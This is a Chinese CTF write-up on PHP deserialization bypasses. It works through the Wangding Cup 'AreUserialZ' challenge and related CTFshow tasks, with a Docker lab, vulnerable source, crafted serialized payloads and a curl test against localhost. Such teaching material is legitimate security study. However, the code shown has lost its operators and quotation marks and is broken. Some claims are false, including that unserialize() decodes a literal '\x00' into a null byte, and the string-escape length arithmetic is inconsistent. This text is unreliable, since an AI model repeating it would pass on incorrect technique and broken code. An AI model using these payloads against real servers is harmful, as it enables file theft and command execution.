CTF实战:从网鼎杯青龙组题目解析PHP反序列化漏洞的5种绕过姿势

📅 发布时间:2026/7/4 21:09:39 👁️ 浏览次数:
CTF实战:从网鼎杯青龙组题目解析PHP反序列化漏洞的5种绕过姿势
CTF实战从网鼎杯青龙组题目解析PHP反序列化漏洞的5种绕过姿势最近在复盘一些经典的CTF题目网鼎杯青龙组的“AreUserialZ”这道题让我印象很深。它把PHP反序列化里几个常见的“坑点”巧妙地揉在了一起从属性可见性到字符校验再到魔术方法的触发时机几乎是一个微缩版的PHP反序列化漏洞实战手册。很多刚接触Web安全的朋友一看到反序列化就头疼觉得概念抽象、利用链复杂。其实只要把几个核心的绕过技巧拆解清楚很多题目都能迎刃而解。这篇文章我就以这道题为主线结合CTFshow等平台上的类似题目为你梳理五种在实战中高频出现的PHP反序列化绕过姿势。我会尽量还原解题时的思考过程并提供可操作的靶场复现方法希望能帮你建立起一套清晰的漏洞利用思路。1. 环境搭建与靶场复现构建你的专属实验场在深入分析漏洞之前一个可控、可反复实验的环境至关重要。我推荐使用Docker来快速搭建一个包含题目源码的Web环境这比直接修改线上服务器或配置复杂的本地PHP环境要安全、便捷得多。首先确保你的系统已经安装了Docker和Docker Compose。然后我们创建一个项目目录比如web_dragon_ctf。mkdir web_dragon_ctf cd web_dragon_ctf接下来创建题目核心文件index.php。我将网鼎杯青龙组“AreUserialZ”的源码稍作整理使其更清晰并添加了一些调试输出方便我们观察反序列化过程?php // index.php highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $this-op 2; $this-filename /tmp/tmpfile; $this-content Hello World!; $this-process(); } public function process() { if($this-op 1) { $this-write(); } else if($this-op 2) { $res $this-read(); $this-output($res); } else { $this-output(Bad Hacker!); } } private function write() { // ... 写文件逻辑本题非重点 } private function read() { $res ; if(isset($this-filename)) { $res file_get_contents($this-filename); } return $res; } private function output($s) { echo [Result]: br; echo $s; } function __destruct() { // 关键点析构函数中修改了属性值 if($this-op 2) { $this-op 1; $this-content ; } $this-process(); } } // 关键校验函数检查字符串是否全部由可见ASCII字符组成 function is_valid($s) { for($i 0; $i strlen($s); $i) { $ord_val ord($s[$i]); // 只允许ASCII码 32-125 的字符空格到右花括号 if(!($ord_val 32 $ord_val 125)) { echo Invalid character found at position $i: $ord_valbr; return false; } } return true; } // 主逻辑 if(isset($_GET[str])) { $str (string)$_GET[str]; echo Received str: . htmlspecialchars($str) . br; if(is_valid($str)) { echo String passed validation.br; $obj unserialize($str); var_dump($obj); // 调试输出观察反序列化后的对象 } else { echo String validation failed.br; } } // 输出默认对象的序列化字符串供参考 $default_obj new FileHandler(); echo hrDefault object serialized: br; echo serialize($default_obj); ?然后我们编写一个简单的Dockerfile和docker-compose.yml来封装环境。Dockerfile:FROM php:8.0-apache RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli COPY index.php /var/www/html/ COPY flag.php /var/www/html/ RUN echo ?php \$flagflag{test_flag_for_local}; ? /var/www/html/flag.php RUN chown -R www-data:www-data /var/www/htmldocker-compose.yml:version: 3 services: web: build: . ports: - 8080:80 volumes: - ./index.php:/var/www/html/index.php - ./flag.php:/var/www/html/flag.php现在在项目目录下执行docker-compose up -d访问http://localhost:8080就能看到题目页面了。这个环境完全在你的掌控之中可以随意修改源码、打断点、测试各种Payload是学习漏洞原理的最佳方式。2. 姿势一Protected属性序列化格式的精确构造这是本题遇到的第一个也是最基础的一个障碍。在PHP中类属性的可见性public, protected, private会影响其序列化后的字符串格式。很多新手直接序列化一个对象然后把Payload扔进去却发现反序列化失败或属性值不对问题往往就出在这里。观察我们FileHandler类的定义$op,$filename,$content都是protected属性。PHP在序列化protected属性时会在属性名前加上\0*\0即空字符、星号、空字符。注意这里的\0是单个不可见的空字符ASCII 0而不是两个字符\和0。让我们在搭建好的环境中先看看默认对象的序列化结果O:11:FileHandler:3:{s:5:\0*\0op;s:1:2;s:11:\0*\0filename;s:15:/tmp/tmpfile;s:10:\0*\0content;s:12:Hello World!;}注意在网页上直接显示时\0可能不可见或显示为乱码。你可以通过查看网页源代码CtrlU来看到准确的字符。在源代码视图里你可能会看到类似s:5: op;这样中间有空格的样子那其实是空字符的显示问题。为了成功利用我们手动构造的序列化字符串必须严格匹配这个格式。假设我们的目标是让$filename变为flag.php$op保持为2尽管后面析构函数会修改它但我们需要先通过反序列化创建对象一个正确的手工Payload应该如下O:11:FileHandler:3:{s:5:\0*\0op;s:1:2;s:11:\0*\0filename;s:8:flag.php;s:10:\0*\0content;s:12:hello world;}但是这里有一个巨大的矛盾我们刚刚提到的is_valid函数它要求字符串中每个字符的ASCII码必须在32到125之间。而\0的ASCII码是0这显然无法通过校验。这就是题目设置的第一个关卡也引出了我们的第二个绕过姿势。属性可见性序列化格式前缀示例属性名opASCII 0 问题public无s:2:op无protected\0*\0s:5:\0*\0op\0(ASCII 0) 非法private\0类名\0s:14:\0FileHandler\0op\0(ASCII 0) 非法3. 姿势二利用PHP反序列化特性绕过字符范围限制既然\0字符是非法的我们有没有办法在不使用\0的情况下让PHP在反序列化时仍然将其识别为protected属性呢答案是肯定的这依赖于PHP反序列化器在解析字符串时的一个特性它对十六进制和转义字符表示法的处理。在PHP的序列化字符串中属性名的长度s:5:中的5必须与实际属性名字符串的字节数严格一致。对于\0*\0op这个字符串它包含5个字节[0x00, 0x2A, 0x00, 0x6F, 0x70]。我们不能直接写入\0但我们可以用其十六进制表示法\x00来代替。关键在于is_valid函数检查的是原始字符串的每个字节而\x00是四个字符\,x,0,0。它们的ASCII码分别是92, 120, 48, 48全部在32-125范围内完美通过校验然而PHP在反序列化时会解析\x00并将其转换为真正的空字符。所以我们可以构造这样的PayloadO:11:FileHandler:3:{s:5:\x00*\x00op;s:1:2;s:11:\x00*\x00filename;s:8:flag.php;s:10:\x00*\x00content;s:12:hello world;}让我们在本地环境中测试一下。你可以通过一个简单的PHP脚本生成并测试这个Payload?php // test_payload.php class FileHandler { protected $op; protected $filename; protected $content; } $payload O:11:FileHandler:3:{s:5:\x00*\x00op;s:1:2;s:11:\x00*\x00filename;s:8:flag.php;s:10:\x00*\x00content;s:12:hello world;}; echo Payload: . $payload . \n; echo is_valid check: ; // 模拟 is_valid 函数 function is_valid($s) { for($i 0; $i strlen($s); $i) if(!(ord($s[$i]) 32 ord($s[$i]) 125)) return false; return true; } var_dump(is_valid($payload)); // 应该返回 true echo Unserialize result:\n; $obj unserialize($payload); var_dump($obj); // 尝试反射读取protected属性 $reflection new ReflectionClass($obj); $prop $reflection-getProperty(filename); $prop-setAccessible(true); echo filename: . $prop-getValue($obj) . \n; // 应该输出 flag.php ?运行这个脚本你会发现is_valid返回true并且反序列化后的对象中filename属性确实被成功设置为了flag.php。这个技巧在CTF中非常常见它考验的是你对PHP序列化字符串底层表示的理解。核心要点校验函数作用于序列化字符串的“文本形式”。PHP反序列化器会解析字符串中的转义序列如\x00。利用这两者的差异注入在文本层面合法、但解析后含义不同的字符。4. 姿势三析构函数与属性修改的时序博弈成功绕过字符校验并反序列化出对象后我们以为马上就能读到flag.php了吗事情还没完。仔细看FileHandler类的__destruct方法function __destruct() { if($this-op 2) { // 注意这里是严格比较 $this-op 1; $this-content ; } $this-process(); }当对象被销毁时通常是脚本执行结束时如果$op的值严格等于字符串2它会被改为1然后调用process()方法。而process()方法中只有当$op 1弱类型比较时才会执行写操作write()当$op 2时才会执行读操作read()。我们的Payload里$op是2。那么析构函数会将其改为1然后process()会进入write()分支而不是我们期望的read()。这似乎是个死循环。但这里存在一个微妙的时序问题。__destruct中的判断是$this-op 2这是严格比较要求类型和值都相等。在我们的Payload中$op被序列化为s:1:2即一个字符串2。这没问题。然而反序列化过程本身是按照序列化字符串中指定的类型来恢复数据的。如果我们把Payload中的$op从字符串2改为整数2呢即s:5:\x00*\x00op;i:2; // 注意是 i:2 不是 s:1:2那么在__destruct执行时$this-op的值是整数2而条件$this-op 2是整数与字符串的严格比较结果为false因此$op不会被修改$content也不会被清空。紧接着执行$this-process()此时$op是整数2在与字符串2进行弱类型比较 () 时结果为true于是顺利进入read()分支读取$filename指向的文件。所以最终的Payload需要结合姿势二和姿势三O:11:FileHandler:3:{s:5:\x00*\x00op;i:2;s:11:\x00*\x00filename;s:8:flag.php;s:10:\x00*\x00content;s:12:hello world;}将这个Payload进行URL编码后因为\x00等字符需要传输通过GET参数str传递给题目就能触发漏洞读取flag了。你可以用以下命令快速测试# 使用 curl 发送请求注意对Payload进行URL编码 # 原始Payload中的 {、}、: 等字符也需要编码 curl -G http://localhost:8080/ --data-urlencode strO:11:\FileHandler\:3:{s:5:\\x00*\x00op\;i:2;s:11:\\x00*\x00filename\;s:8:\flag.php\;s:10:\\x00*\x00content\;s:12:\hello world\;}这个技巧的关键在于理解PHP反序列化时数据类型的还原以及后续代码中严格比较与弱类型比较的差异。这种类型混淆Type Juggling是PHP安全中一个永恒的话题。5. 姿势四利用引用Reference实现属性联动在更复杂的反序列化利用链中我们有时需要让一个属性的值随着另一个属性的改变而自动改变。PHP的引用机制可以在序列化中保留这为我们提供了一种强大的操控对象内部状态的手段。虽然“AreUserialZ”这道题没有直接用到但它是CTF中反序列化题目的一个高级技巧。假设有一个这样的类class VulnerableClass { public $source; public $sink; function __destruct() { if($this-source admin) { system($this-sink); // 危险函数 } } }我们的目标是控制$sink来执行命令但$source的值不是admin。如果在序列化时我们将$sink设置为对$source的引用那么当我们在序列化字符串中修改$source的值为admin时$sink也会同步变成admin这显然不是我们想要的命令。但是引用的真正威力在于动态联动。考虑另一种情况某个方法在执行过程中会修改$source的值而我们希望$sink能实时反映这个变化。通过引用我们可以实现这一点。在序列化字符串中引用用R或r加数字索引来表示。例如?php class Test { public $a; public $b; } $obj new Test(); $obj-a original; $obj-b $obj-a; // $b 是 $a 的引用 echo serialize($obj); // 输出类似O:4:Test:2:{s:1:a;s:8:original;s:1:b;R:2;} // 注意 R:2; 表示引用指向序列化数据中第2个值即 $a 的值 ?在CTF题目中如果代码逻辑存在“先修改属性A再使用属性B”的模式并且我们可以控制序列化数据那么通过精心构造引用关系就有可能让属性B在我们意想不到的时刻指向我们想要的值。这需要极其细致的代码审计和对对象生命周期内数据流变化的把握。6. 姿势五字符串逃逸与对象注入这是PHP反序列化漏洞中另一种经典的攻击方式常出现在对序列化字符串进行过滤或替换的场景中比如str_replace,preg_replace等。题目可能对用户输入的序列化字符串进行某种“净化”例如过滤掉dangerous这个词。攻击者可以利用过滤前后字符串长度的变化精心构造输入使得原本的序列化字符串结构被破坏并“逃逸”出新的、攻击者可控的序列化对象。基本原理PHP反序列化是“贪婪”的它会按照序列化字符串的格式类型:长度:{值}来解析。如果我们能控制长度部分s:XX:中的XX并让这个长度与实际字符串内容长度不一致就可能造成解析错位。假设有一个简单的过滤函数function filter($data) { return str_replace(bad, good, $data); }用户输入先被过滤再被反序列化。攻击者可以这样构造目标注入一个额外的对象O:1:A:1:{s:1:a;s:3:cmd;}计算bad被替换为good长度增加了1。构造输入s:10:badbadbadX;}后面跟上我们想注入的对象代码。序列化器会认为这是一个长度为10的字符串badbadbadX。经过过滤后变成goodgoodgoodX长度变为12。但反序列化器仍然按照长度10去读取它会读取goodgoodgo作为字符串值剩下的odX}就被“剩”在了数据流里。通过精确计算我们可以让“剩下”的部分正好是我们想注入的恶意对象字符串从而在反序列化完第一个对象后继续反序列化出我们注入的第二个对象。这种题型在CTF中往往难度较高需要仔细计算字符增减量并巧妙构造Padding。它考察的是对序列化协议本身和字符串处理函数交互的深刻理解。解决这类问题通常需要写一个小脚本去模拟和爆破可能的Payload结构。7. 实战演练与技巧延伸掌握了以上五种核心姿势我们再来看看CTFshow平台上一些相关的题目它们可以看作是对这些基础技巧的变种和组合。CTFshow Web89/90 - 整数验证绕过这两题看似是数字验证实则引入了intval()和preg_match()的绕过。preg_match()在参数为数组时会返回false这常被用来绕过基于正则的字符串检查。而intval()的第二个参数为0时会根据字符串前缀自动判断进制0开头为八进制0x开头为十六进制这可以用来绕过数字相等判断。例如要求$num4476可以传入?num010574八进制或?num0x117c十六进制。虽然不直接是反序列化但这种参数验证逻辑的绕过思路在反序列化题目中同样常见比如__wakeup()方法里可能存在类似的检查。CTFshow Web254-257 - 反序列化入门到进阶这个系列是绝佳的反序列化学习路径Web254最简单的对象注入理解__construct和__destruct的触发时机。Web255引入Cookie中的序列化字符串需要修改isVip属性为true。这里的关键是理解客户端提交的数据Cookie如何被服务器端反序列化还原成对象状态。Web256属性名变为protected需要用到我们提到的姿势一正确处理\0*\0前缀。这是对基础格式的巩固。Web257引入了多个类和魔术方法__construct,__destruct,__get,__call等需要构造一个POP链Property-Oriented Programming。你需要分析代码逻辑让一个对象的销毁触发另一个对象的方法调用最终指向一个包含危险函数如eval的“后门”方法。这标志着从简单的属性修改进入了真正的漏洞链利用。在实战中我习惯先用一个简单的脚本快速生成和测试序列化Payload的格式尤其是在处理protected/private属性和引用时。比如这个通用的小工具?php // serialize_helper.php error_reporting(0); class TargetClass { protected $test default; // ... 其他属性 } // 1. 生成基础对象序列化字符串 $obj new TargetClass(); $ser serialize($obj); echo Standard Serialized:\n . $ser . \n\n; // 2. 手动修改例如将protected属性名中的 \0 替换为 \x00 $payload_for_valid str_replace(\x00, \x00, $ser); echo For validation (with \\x00):\n . $payload_for_valid . \n\n; // 3. 验证是否通过 is_valid 类似的检查 function mock_is_valid($s) { for($i 0; $i strlen($s); $i) if(!(ord($s[$i]) 32 ord($s[$i]) 125)) return false; return true; } echo Passes mock validation? . (mock_is_valid($payload_for_valid) ? Yes : No) . \n\n; // 4. 测试反序列化 $test_unser unserialize($payload_for_valid); echo Can unserialize? . ($test_unser ? Yes : No) . \n; if ($test_unser) { $r new ReflectionClass($test_unser); $p $r-getProperty(test); $p-setAccessible(true); echo Property value: . $p-getValue($test_unser) . \n; } ?最后想说的是PHP反序列化的学习是一个从理解语法特性到审计代码逻辑再到构造精巧利用链的过程。网鼎杯的这道题像是一个引子把几个关键点都串了起来。真正的挑战在于面对一个陌生的代码库如何快速定位可利用的魔术方法、理清对象间的调用关系并最终拼凑出一条通往代码执行的路径。多刷题、多调试、多总结把这些姿势内化成自己的肌肉记忆下次再遇到反序列化的题目你就能更快地找到突破口。